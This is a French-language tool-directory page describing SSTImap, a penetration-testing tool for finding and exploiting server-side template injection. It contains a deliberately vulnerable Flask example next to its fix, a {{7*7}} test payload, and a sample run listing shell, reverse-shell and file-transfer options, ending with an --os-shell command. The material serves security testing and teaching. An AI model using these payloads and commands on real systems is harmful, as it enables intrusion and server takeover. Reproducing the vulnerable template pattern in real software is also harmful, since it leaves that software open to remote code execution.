Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SSTImap — Outil de détection automatique de SSTI avec interface interactive | Kitploit
Outils/GitHubGitHub/vladko312/sstimap
Scanners de VulnérabilitésGénération de PayloadsAnalyse de CodeAnalyse Dynamique de Code (DAST)ExploitationExploitation d'Applications WebFuzzingTests d'IntrusionCommandement et Contrôle
GitHubvladko312/sstimap

SSTImap

Outil de détection automatique de SSTI avec interface interactive

1.6k177131il y a 1 moisVérifié par Kitploit
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

Ce projet est basé sur Tplmap.

SSTImap est un logiciel de test d'intrusion qui peut vérifier les sites web pour détecter les vulnérabilités d'injection de code et d'injection de modèles côté serveur (Server-Side Template Injection) et les exploiter, donnant ainsi accès au système d'exploitation lui-même.

Cet outil a été développé pour être utilisé comme un outil interactif de test d'intrusion pour la détection et l'exploitation de SSTI, ce qui permet une exploitation plus avancée. D'autres payloads pour SSTImap peuvent être trouvés ici.

Les payloads et techniques proviennent de :

  • James Kettle's [Server-Side Template Injection: RCE For The Modern Web App][5]
  • Autres recherches publiques [[1]][1] [[2]][2] [[8]][8]
  • Contributions à Tplmap [[3]][3] [[4]][4]
  • Mes propres recherches [[9]][9]

Cet outil est capable d'exploiter certaines échappatoires de contexte de code et des scénarios d'injection aveugle. Il prend également en charge les injections de type eval() en Java, JavaScript, PHP, Python, Ruby et les moteurs de templates génériques non sandboxés.

Principales différences avec Tplmap

Bien que ce logiciel soit basé sur le code de Tplmap, la compatibilité ascendante n'est pas assurée.

  • Ajout de deux nouvelles techniques pour la détection et l'exploitation de SSTI
  • Mode interactif (-i) permettant une exploitation et une détection plus faciles
  • Payloads d'évaluation simples comme marqueurs de réponse en cas de réflexion de payload
  • Ajout de nouveaux payloads pour les templates génériques, pour tester tous les contextes utilisez --generic
  • Détection générique d'injection de templates par évaluation à l'aide du module Eval_generic
  • Exécution de shell (eval()-like) dans le langage de base (-x) ou d'une commande unique (-X)
  • L'upload aveugle de fichiers prend désormais en charge la confirmation MD5 et la vérification de l'existence du fichier
  • Ajout de nouveaux payloads pour plus de templates et mise à jour de nombreux payloads existants
  • Structure de plugins modulaire permettant l'installation de plugins supplémentaires
  • Prise en charge de différents types de données POST
  • Ajout du crawling et de la détection de formulaires
  • Versions courtes ajoutées à de nombreux arguments
  • Certains anciens arguments de ligne de commande ont été modifiés, consultez -h pour l'aide
  • Le code a été modifié pour utiliser les fonctionnalités Python les plus récentes
  • L'extension Burp Suite a été temporairement retirée, car Jython ne prend pas en charge Python3

Injection de modèles côté serveur (Server-Side Template Injection)

Voici un exemple de site web simple écrit en Python utilisant le framework [Flask][6] et le moteur de templates [Jinja2][7]. Il intègre la variable name fournie par l'utilisateur de manière non sécurisée, car elle est concaténée à la chaîne du template avant le rendu.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Non seulement cette façon d'utiliser les templates crée une vulnérabilité XSS, mais elle permet également à l'attaquant d'injecter du code de template, qui sera exécuté sur le serveur, conduisant à une SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

L'entrée fournie par l'utilisateur doit être introduite de manière sécurisée via le contexte de rendu :

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Mode prédéterminé

SSTImap en mode prédéterminé est très similaire à Tplmap. Il est capable de détecter et d'exploiter les vulnérabilités SSTI dans plusieurs templates différents.

Après l'exploitation, SSTImap peut fournir un accès à l'évaluation de code, à l'exécution de commandes du système d'exploitation et aux manipulations du système de fichiers.

Pour vérifier l'URL, vous pouvez utiliser l'argument -u :

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Utilisez l'option --os-shell pour lancer un pseudo-terminal sur la cible.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell
Télécharger l’outil